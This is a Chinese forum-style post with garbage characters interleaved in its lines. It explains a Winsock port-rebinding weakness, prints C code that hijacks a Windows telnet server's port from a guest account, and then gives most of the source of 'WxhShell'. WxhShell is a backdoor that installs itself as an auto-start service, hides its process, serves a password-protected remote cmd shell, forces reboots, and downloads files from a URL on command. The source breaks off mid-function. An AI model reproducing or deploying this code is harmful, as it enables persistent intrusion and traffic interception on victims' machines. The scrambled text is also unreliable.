在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K5t.OAA: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
~*UY[!+4^= 7,8TMd1`M saddr.sin_family = AF_INET;
8?x:PkK pYu6[ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
tmM; Z(9t Y> ATL bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3-)}.8F !_;J@B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
DL,]iJm TIR Is1 这意味着什么?意味着可以进行如下的攻击:
m~fDDQs pn){v 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q)KOI`A {MTtj4$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&-X51O C 8V9OMOt! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=dQ/^C_hj 8.7q
-<Q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
4x3 _8/= @A(jo 32 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
C5$?Y8B3 vy2"B ch 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
fakad#O t5u#[* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wu &lG!# bNiJ"k<pN #include
r4fg!]J; #include
)0"T?Ivp] #include
U@{>+G[ #include
o^//|]H3Y DWORD WINAPI ClientThread(LPVOID lpParam);
F-
u"zox int main()
<*-8E(a {
>l/pwb@ WORD wVersionRequested;
a/3'!} &e DWORD ret;
t~nW&]E WSADATA wsaData;
:XPat93w BOOL val;
\pTv;( SOCKADDR_IN saddr;
{XUSw8W' SOCKADDR_IN scaddr;
kBk2mMZ int err;
oDJ
&{N| SOCKET s;
! hEZV&y SOCKET sc;
mFxt +\ int caddsize;
H~SU:B: HANDLE mt;
D ]
n|d+ DWORD tid;
U>m{B|H wVersionRequested = MAKEWORD( 2, 2 );
]=I2:Rb err = WSAStartup( wVersionRequested, &wsaData );
,dw\y/dn if ( err != 0 ) {
{;zHkmx printf("error!WSAStartup failed!\n");
o@]n<ZYo return -1;
_x#y }
bAuiMw7! saddr.sin_family = AF_INET;
V[kn'QkWv 0uPcEpIA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+7nvy^m pGy k61 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
*yo'Nqu saddr.sin_port = htons(23);
-yg;,nCg if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yOvV"x] {
DIWyv- printf("error!socket failed!\n");
,j\uvi(Y return -1;
v0tFU!Q% }
dLwP7#r val = TRUE;
8*&73cp //SO_REUSEADDR选项就是可以实现端口重绑定的
Gm=&[?} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
l @@pXg3 {
^P/OHuDL printf("error!setsockopt failed!\n");
w}t}Sh return -1;
6Yt3Oq<U }
NLYf //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
x2aG5@<3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-f1}N|hy //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Gl45HyY_ I,,SR" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
aRI. &3- {
_5O~]} ret=GetLastError();
%W| Sl printf("error!bind failed!\n");
:?m"kh
~ return -1;
C=U4z|Ym }
9f5~hBlo listen(s,2);
SkVah:cF- while(1)
DB_oRr[oj {
4gdXO caddsize = sizeof(scaddr);
~|ZAS] //接受连接请求
4e;
le& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_%B,^0;C if(sc!=INVALID_SOCKET)
3DB= Xh {
:eB+t`M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
AeN:wOm if(mt==NULL)
{_$['D^ az {
,1JQjsR printf("Thread Creat Failed!\n");
hb/Z{T' break;
XpK
Y# }
/d Ua }
) .' + { CloseHandle(mt);
<mTo54g }
YN:Sn\`D 8 closesocket(s);
M
0RA& WSACleanup();
P6ka'!z return 0;
]~f-8!$$R }
o8%o68py DWORD WINAPI ClientThread(LPVOID lpParam)
MTgf. {
|UQ[pas SOCKET ss = (SOCKET)lpParam;
US-f<Wq SOCKET sc;
.'2I9P\! unsigned char buf[4096];
x;~@T9. SOCKADDR_IN saddr;
AE`{k-3=% long num;
-ik((qx_ DWORD val;
<@+L^Ps~z DWORD ret;
f(!cz,y^\* //如果是隐藏端口应用的话,可以在此处加一些判断
xCT2FvX6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[C~N#S[] saddr.sin_family = AF_INET;
",,.xLI7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q^l!cL| { saddr.sin_port = htons(23);
`022gHYv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_,UYbD\[J} {
+ek6}f# printf("error!socket failed!\n");
[)I
W9E
v return -1;
FB>P39u }
cd=H4:<T5 val = 100;
p?P.BU\CR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m6xbO {
UCFFF% ret = GetLastError();
aYHs35 return -1;
r~fnK%| }
)qFqf<:yc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*p0n^XZ% ? {
8. +f@wv ret = GetLastError();
N}{V*H^0QU return -1;
EBQ_c@ }
.N\t3\9} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
7X>@r"9< {
X`eX+9 printf("error!socket connect failed!\n");
dBN: closesocket(sc);
{`J!DFfur closesocket(ss);
(r}StR+ return -1;
$`t2SD }
?@Tsd@s~r while(1)
#,})N*7 {
gQY`qz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_ |HA\! //如果是嗅探内容的话,可以再此处进行内容分析和记录
9Q\B1Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_25PyG num = recv(ss,buf,4096,0);
q9InO]s&~= if(num>0)
<&)zT#" send(sc,buf,num,0);
1}ifJ~)5S else if(num==0)
tO"AeZe%| break;
4U'sBaY!K num = recv(sc,buf,4096,0);
dI=&gz if(num>0)
&fkH\o7) send(ss,buf,num,0);
7/Bj WU5* else if(num==0)
iF.f*3-NJB break;
d+ $:u }
3(.Y>er%U closesocket(ss);
k{ZQM closesocket(sc);
`G*fx=N return 0 ;
MD,BGO?C }
Jiru~Vo+ b#t5Dve BI!E mA ==========================================================
Fy.!amXu U56g|V 下边附上一个代码,,WXhSHELL
Eb29tq "l#"c{ee{ ==========================================================
^hT2ed + rploQF~OFF #include "stdafx.h"
S'@Ok=FSy 20J-VN: #include <stdio.h>
G1ruF8 #include <string.h>
!I91kJt7 #include <windows.h>
0YoV`D,U #include <winsock2.h>
'^_^o)0gp #include <winsvc.h>
j*1MnP3/8Y #include <urlmon.h>
^ ~Tn[w W_ ;vpq0t` #pragma comment (lib, "Ws2_32.lib")
n 4H'FZ #pragma comment (lib, "urlmon.lib")
=~)rT8+) iT{[zLz>1 #define MAX_USER 100 // 最大客户端连接数
x&EMg! #define BUF_SOCK 200 // sock buffer
rO/Sj<0^ #define KEY_BUFF 255 // 输入 buffer
b!"FM/% !)}z{,Jx #define REBOOT 0 // 重启
k@[[vj|W #define SHUTDOWN 1 // 关机
p2+K-/}ApP k%s,(2)30 #define DEF_PORT 5000 // 监听端口
CWd
& Z
6][9o #define REG_LEN 16 // 注册表键长度
$"0`2C #define SVC_LEN 80 // NT服务名长度
'S#^70kt n2[h`zm1{B // 从dll定义API
2IkyC` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
7c@5tCcC- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:kjs: 6f] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V%zo[A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0B~x8f c<q~T >0k // wxhshell配置信息
N7X(gh2h struct WSCFG {
MdTu722 int ws_port; // 监听端口
xz+;1JAL3 char ws_passstr[REG_LEN]; // 口令
{q~N$"# int ws_autoins; // 安装标记, 1=yes 0=no
~1S,[5u|s char ws_regname[REG_LEN]; // 注册表键名
F
hyY+{% char ws_svcname[REG_LEN]; // 服务名
mFd|JbW char ws_svcdisp[SVC_LEN]; // 服务显示名
rj1%IzaXU^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
|0_5iFAB| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
E?Qg'|+_ int ws_downexe; // 下载执行标记, 1=yes 0=no
jD6T2K7i char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
lf R}cx char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:x?G[x= V*@&<x"E };
ZHj7^y@P t+0/$ // default Wxhshell configuration
'68#7Hs. struct WSCFG wscfg={DEF_PORT,
;^)4u "xuhuanlingzhe",
IiX2O(*ZE 1,
0p\Kf(|E*6 "Wxhshell",
q)YHhH\ "Wxhshell",
'BVI ^H4 "WxhShell Service",
Q7mikg=1- "Wrsky Windows CmdShell Service",
7Q&S []) "Please Input Your Password: ",
~ntDzF 1,
O8LIKD_I[ "
http://www.wrsky.com/wxhshell.exe",
9.6ni1a' "Wxhshell.exe"
[Qqss8a };
`vf]C' 1{qG?1<zZ6 // 消息定义模块
4:kDBV;v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
G12o?N0p char *msg_ws_prompt="\n\r? for help\n\r#>";
%F:; A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
g12.4+ char *msg_ws_ext="\n\rExit.";
T[J8zLO char *msg_ws_end="\n\rQuit.";
"VMb1Zhf char *msg_ws_boot="\n\rReboot...";
nD=N MqQ & char *msg_ws_poff="\n\rShutdown...";
=%b1EYk char *msg_ws_down="\n\rSave to ";
.j"@7#tW LftGA7uGJ) char *msg_ws_err="\n\rErr!";
zq|NltK char *msg_ws_ok="\n\rOK!";
]l SxX char ExeFile[MAX_PATH];
iU#"G" & int nUser = 0;
}0OQm?xh HANDLE handles[MAX_USER];
bhfC2@ int OsIsNt;
'\"5qB 81)i>] SERVICE_STATUS serviceStatus;
@U =~c9 SERVICE_STATUS_HANDLE hServiceStatusHandle;
gaE8\JSr =}SLQdT // 函数声明
J@ 8OU int Install(void);
g}*p(Tp9: int Uninstall(void);
)k4&S{= int DownloadFile(char *sURL, SOCKET wsh);
iN5[x{^t int Boot(int flag);
uME_/S uO void HideProc(void);
t
^1uj:vD int GetOsVer(void);
+zl[C int Wxhshell(SOCKET wsl);
6O*lZNN void TalkWithClient(void *cs);
3u,B< int CmdShell(SOCKET sock);
M L7 vP int StartFromService(void);
+\>op,_9I int StartWxhshell(LPSTR lpCmdLine);
>U]KPL[% TA~ZN^xI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
k#8E9/t@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
++=jh6 Rq|]KAN // 数据结构和表定义
y%<CkgZS SERVICE_TABLE_ENTRY DispatchTable[] =
Lo=n)cV 1, {
TT&%[A+ {wscfg.ws_svcname, NTServiceMain},
:fnK`RnaQ {NULL, NULL}
}8`>n4 };
*mW 2vJ/B /!*=* // 自我安装
0sF|Y%N int Install(void)
LQ||7>{eX {
gYmO4/c,
char svExeFile[MAX_PATH];
[?2,(X0yh1 HKEY key;
KfQR(e9n strcpy(svExeFile,ExeFile);
+Y>oNX1KN ]y"=/Nu-Ja // 如果是win9x系统,修改注册表设为自启动
gy"<[N
.?c if(!OsIsNt) {
,!P}Y[| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[Y^h)k{-$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}gd'pgN"t RegCloseKey(key);
Z,8t!Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ylQ9Su>o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A}_pJH RegCloseKey(key);
*thm)Mn return 0;
J.c
yb }
@Z<Z//^k }
XS.*CB_m_ }
Ss\FSEN!/ else {
ENFM``dV# 2{B
ScI5K // 如果是NT以上系统,安装为系统服务
D4~]:@v~n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*dsI>4%m if (schSCManager!=0)
Fj"/jdM {
pfFHuS~ SC_HANDLE schService = CreateService
|ZOdfr4uW (
9xFI%UOb# schSCManager,
(,cG+3r] wscfg.ws_svcname,
C3(h j wscfg.ws_svcdisp,
aF>&X-2 SERVICE_ALL_ACCESS,
9VSi2p* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'p[B`Ft3F SERVICE_AUTO_START,
r^ABu_u(`I SERVICE_ERROR_NORMAL,
0:B%,nUM svExeFile,
Sar1NkD# NULL,
sFsf~| NULL,
Xx\,<8Xn NULL,
g1Osd7\o NULL,
s3VD6xi7 NULL
-TS,~`O );
8fPTxvXqL if (schService!=0)
y>^0q/=]?O {
2W#^^4^+ CloseServiceHandle(schService);
h,,B"vPS CloseServiceHandle(schSCManager);
4b6)+*[O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^@Z8_PZo strcat(svExeFile,wscfg.ws_svcname);
DD`DU^o< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Gz(l~!n~a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
PM'2zP[*W RegCloseKey(key);
#)O^aac29 return 0;
>=.3Vydi1 }
Rgl cd }
[.&n,.k CloseServiceHandle(schSCManager);
)mjGHq2 }
h67{qY[J[ }
n+nZ;GJ5d iU(B#ohW" return 1;
(B!DBnq }
<-,y0Y' #L57d // 自我卸载
&2I8!Ia int Uninstall(void)
F@zTz54t {
=y`-:j\ HKEY key;
6;;2e> e l+X\>, if(!OsIsNt) {
d ,.=9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]EG8+K6 RegDeleteValue(key,wscfg.ws_regname);
w(K|0|t RegCloseKey(key);
SwM=?< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XWq"_$&LF RegDeleteValue(key,wscfg.ws_regname);
%P:|B:\< RegCloseKey(key);
[ 6Sk>j return 0;
vG\
b` }
s_e*jM1 }
mc{W\H }
*vq75k$7 else {
,Z}ST|$u RL fQT_V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
m;L3c(r. if (schSCManager!=0)
7xYz9r)w` {
*kcc]*6@s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6~x a^3G: if (schService!=0)
=&(e* u_ {
5".bM8o if(DeleteService(schService)!=0) {
@.`k2lxGd~ CloseServiceHandle(schService);
)<qL8#["U CloseServiceHandle(schSCManager);
[jrfh>v return 0;
}}k*i0 }
5u3KL
A CloseServiceHandle(schService);
?Mn~XN4F_ }
i'\-Y]?[ CloseServiceHandle(schSCManager);
?CcX>R-/ }
O\)Kg2 }
H({m1v ~R <FI*A+I4\ return 1;
IreY8.FND }
q- 0q: G5 RdytK // 从指定url下载文件
u]i%<Yy89 int DownloadFile(char *sURL, SOCKET wsh)
{7;QZk( {
q?@* HRESULT hr;
v>N*f~n char seps[]= "/";
Wu(^k25 char *token;
_x^rHADp char *file;
i
^2A:6}? char myURL[MAX_PATH];
uh \Tf5 char myFILE[MAX_PATH];
u|6-[I oK$Krrs0& strcpy(myURL,sURL);
XODp[+xEEt token=strtok(myURL,seps);
V`HnFAW while(token!=NULL)
z4$9,p
` {
w.#z>4#3- file=token;
*'\ HG token=strtok(NULL,seps);
4^ U%` 1 }
VJ_fA}U rBy0hGx GetCurrentDirectory(MAX_PATH,myFILE);
62y:i strcat(myFILE, "\\");
R0LWuE%eD strcat(myFILE, file);
1&<o3)L: send(wsh,myFILE,strlen(myFILE),0);
axq~56"7E send(wsh,"...",3,0);
aAG']y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
kGYsjhL\d if(hr==S_OK)
O'{kNr{u return 0;
o>bi~(H else
GlRjbNW?Q return 1;
yPs6_Qo!p >Gk<a }
po,Ue>n/ %[M0TE=J // 系统电源模块
Gv}Q/v int Boot(int flag)
H)EL0
Kv/ {
3IB9-wG HANDLE hToken;
*X ;ch55\ TOKEN_PRIVILEGES tkp;
u0G
tzk `%"x'B`mM if(OsIsNt) {
&K(y%ieIJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/e*fsQ>M: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
#y[omla8 tkp.PrivilegeCount = 1;
c h((u(G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7Z<GlNv AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
(n7{?`Yid if(flag==REBOOT) {
#g0N/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Fq5u%S return 0;
!
Vlx }
%lGOExV% else {
.kMnq8u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)N607 Fa- return 0;
|v5
ge3- }
~I%164B+/ }
NGkxg: else {
=&qH%S6 if(flag==REBOOT) {
>5"e<mwD7d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
E)f9`][ return 0;
gA}<Y }
4VwMl)8ic else {
S]~5iO_bst if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
b18f=<# return 0;
j3T)gFP }
VmN 7a6a }
P8|ANe1
v yFQaNuZPC return 1;
4
2DMmwB }
u/-EVCHr
y O8_!!Qd // win9x进程隐藏模块
&zJ*afi) void HideProc(void)
\=mLL|a {
+zq"dj_ 3S2Alx!6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#7}M\\$M if ( hKernel != NULL )
y'I
m/{9U {
%#eQN
~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
A'b$X1h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Kg2Du'WQ^ FreeLibrary(hKernel);
c00rq ~<K }
vCSC: 5U4V_*V return;
JtxVF!v }
EzjK{v"> '@h // 获取操作系统版本
1_v\G int GetOsVer(void)
_z{9V7n4 {
q(^iT~} OSVERSIONINFO winfo;
_KxR~k^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
I"x|U[*B GetVersionEx(&winfo);
(_>SuQK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
>/Q^.hzd return 1;
rKI<! else
6sQ;Z |!Pz return 0;
>~Tn%u< }
i8-Y,&>V #\n*Qg4p // 客户端句柄模块
>A6W^J|[ int Wxhshell(SOCKET wsl)
wy${EY^h {
ilHf5$ SOCKET wsh;
&z:bZH]DH struct sockaddr_in client;
NCG;`B`i DWORD myID;
92A9gY 8wOscL f: while(nUser<MAX_USER)
bHE.EBZ {
Y,Rr[i"j int nSize=sizeof(client);
w5~j|c=_W wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(l-=/6- if(wsh==INVALID_SOCKET) return 1;
Zl3e=sg= ~yw]<{ ? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~LV]cX2J( if(handles[nUser]==0)
>dm9YfQ closesocket(wsh);
Q1x&Zm1v else
Lw_|o[I} nUser++;
Wkjp:`(-$r }
.Wy' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
PuGs%{$(h f+n {9Hz return 0;
~wv$uL8y }
E?P>s T3B 5V =mj+X? // 关闭 socket
r~f;g9I void CloseIt(SOCKET wsh)
V@-Q&K# {
xsJXf @ closesocket(wsh);
6vE#$(n#a& nUser--;
DwGM+)! ExitThread(0);
;R#RdUFH }
Rk#'^} RO/(Ldh // 客户端请求句柄
B>!mD{N void TalkWithClient(void *cs)
JW^ ${4 {
7g+T ZCc23UwI SOCKET wsh=(SOCKET)cs;
0!0e$!8l char pwd[SVC_LEN];
/(hTk& char cmd[KEY_BUFF];
>A-{/"p# char chr[1];
un-%p# int i,j;
H{=G\N{ EC[]L'IL while (nUser < MAX_USER) {
:adz~L$ OQKg/1 if(wscfg.ws_passstr) {
WlvT&W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4=|Q2qgFV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M80Q6K //ZeroMemory(pwd,KEY_BUFF);
pFNU~y'Kf i=0;
NiW9/(;xB while(i<SVC_LEN) {
(&/4wI^M \OFmd!Cz // 设置超时
zm5PlG fd_set FdRead;
,-E'059 struct timeval TimeOut;
Komdz/g FD_ZERO(&FdRead);
}s<;YC FD_SET(wsh,&FdRead);
?z l<"u TimeOut.tv_sec=8;
-wV2
79^b TimeOut.tv_usec=0;
ov,s]g83 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
hB.8\-}QMq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
#\m.3!Hcr rnhLv$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0LL0\ly] pwd
=chr[0]; dEKu5GI
if(chr[0]==0xd || chr[0]==0xa) { ?yq=c
pwd=0; &DGz/o
break; x}c
} .-tR <{
g
i++; g1[BrT,
} ^ `";GnH0
_!DH/?aU
// 如果是非法用户,关闭 socket ZZo<0kDk
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #.HnO_sK_
} l~]] RgU
*(q?O_3,b
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SF-"3M
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cRrJZ9
|a#ikY _nd
while(1) { IA.7If&k
w[gt9]}N
ZeroMemory(cmd,KEY_BUFF); ;iKtv+"
fv8x7l7
// 自动支持客户端 telnet标准 @XzfuuE]
j=0; k@|px#kq
while(j<KEY_BUFF) { SQ[D2v
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mKO~`Wq%@
cmd[j]=chr[0]; [5p9p1@u{C
if(chr[0]==0xa || chr[0]==0xd) { j0{`7n
cmd[j]=0; H2:
Zda#
break; <af#
C2`B
} ,v8e7T
j++; SIrNZ^I
} 7A(4`D J
0Pf88 '6
// 下载文件 p$1 'e,G
if(strstr(cmd,"http://")) { "ufSHrZv
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z@Q*An
if(DownloadFile(cmd,wsh)) 6X h7Bx1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U; m@
else 6&SNFOX{@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zytN leyc
} \z !lw
else { `I wZVz
~//9Nz~;3
switch(cmd[0]) { l%GArH`
~$T>,^K
y
// 帮助 aQx6;PC
case '?': { /Ls|'2J<$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k
$^/$N
break; TU~y;:OJ
} mp$IhJ6#
// 安装 `Pj7:[."[
case 'i': { er3~gm
if(Install()) ^lV}![do!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V>)/z|[
else MSM8wYcD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #
f-hI
break; *'8q?R?7g
} dNt^lx
// 卸载 vkGF_aenk
case 'r': { |wuTw|
if(Uninstall()) \X*y~)+K`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LZ_VLW9wE
else ,S`n?.&& 7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5O]tkHYR
break;
p )JR5z
} @Drl5C}+
// 显示 wxhshell 所在路径 SQK82/
case 'p': { 8ly)G
char svExeFile[MAX_PATH]; K(upzn*a
strcpy(svExeFile,"\n\r"); 06AgY0\
strcat(svExeFile,ExeFile); gw,K*ph}q
send(wsh,svExeFile,strlen(svExeFile),0); >^g2Tg:
break; QEt"T7a[/
} (jU_lsG
// 重启 UwS7B~
case 'b': { )GG9[%H!
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xgIb6<qwY
if(Boot(REBOOT)) aIa<,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '12*'Q+{+
else { RDDA^U7y#
closesocket(wsh); tP! %(+V
ExitThread(0); 5Q8 H8!^
} +fboTsp% H
break; d38o*+JCf
} MhHh`WUGh
// 关机 Fw-Rv'\
case 'd': { w" [T
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A r>JQ@0
if(Boot(SHUTDOWN)) u=qK_$d4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )m
=xf1
else { y$-@|M$GG
closesocket(wsh); y]@JkF(
ExitThread(0); I(R%j]LX&
} \)uA:v
break; 6}R*7iMs
} Qm3F=*)d
// 获取shell d]sqj\Q57
case 's': { -n|>U:
CmdShell(wsh); AzJ;EtR
closesocket(wsh); o[Qb/ 7
ExitThread(0); GP4!t~"1
break; r?[[.zm"7
} e'$[PF
// 退出 *\'t$se+
case 'x': { T$u'+*
Xx
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xf;>o$oN0P
CloseIt(wsh); UJqh~s
break; IowXVdm@6
} 084Us
s
// 离开 T<Xw[PEnP
case 'q': { u4
es8"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1\@PrO35J
closesocket(wsh); qZ[HILh!
WSACleanup(); fTR6]i;
exit(1); Hm'fK$y(
break; 4s:M}=]N
} yN`hW&K
} !YGHJwW:
} N5zWeFq@6
up['<Kt+a
// 提示信息 L$O\fhO?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |0}Xb|+
} T\p>wiY2|F
} `!N}u
? Pi|`W
return; 5%9Uh'y#
} Go c*ugR
QpQ 2hNf
// shell模块句柄 oZ/"^5
int CmdShell(SOCKET sock) &'k(v(>n,
{ B6&[_cht
STARTUPINFO si; ~x9J&*zxM
ZeroMemory(&si,sizeof(si)); 1o\2\B=k{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Heh&;c
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jy}~ZY
PROCESS_INFORMATION ProcessInfo; 6 L4\UTr
char cmdline[]="cmd"; <?IDCOt ?
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %E@o8
return 0; m_Ed[h/I
} tik*[1it
&D[M<7T
// 自身启动模式 3YLfh`6
int StartFromService(void) hY{4_ie=8
{ YC 4c-M
typedef struct )! rD&l$tE
{ ?/MkH0[G =
DWORD ExitStatus; -6-rXD
DWORD PebBaseAddress; Ww8U{f
DWORD AffinityMask; '+$r7?dKP
DWORD BasePriority; /2T
W?a
ULONG UniqueProcessId; \; '#8
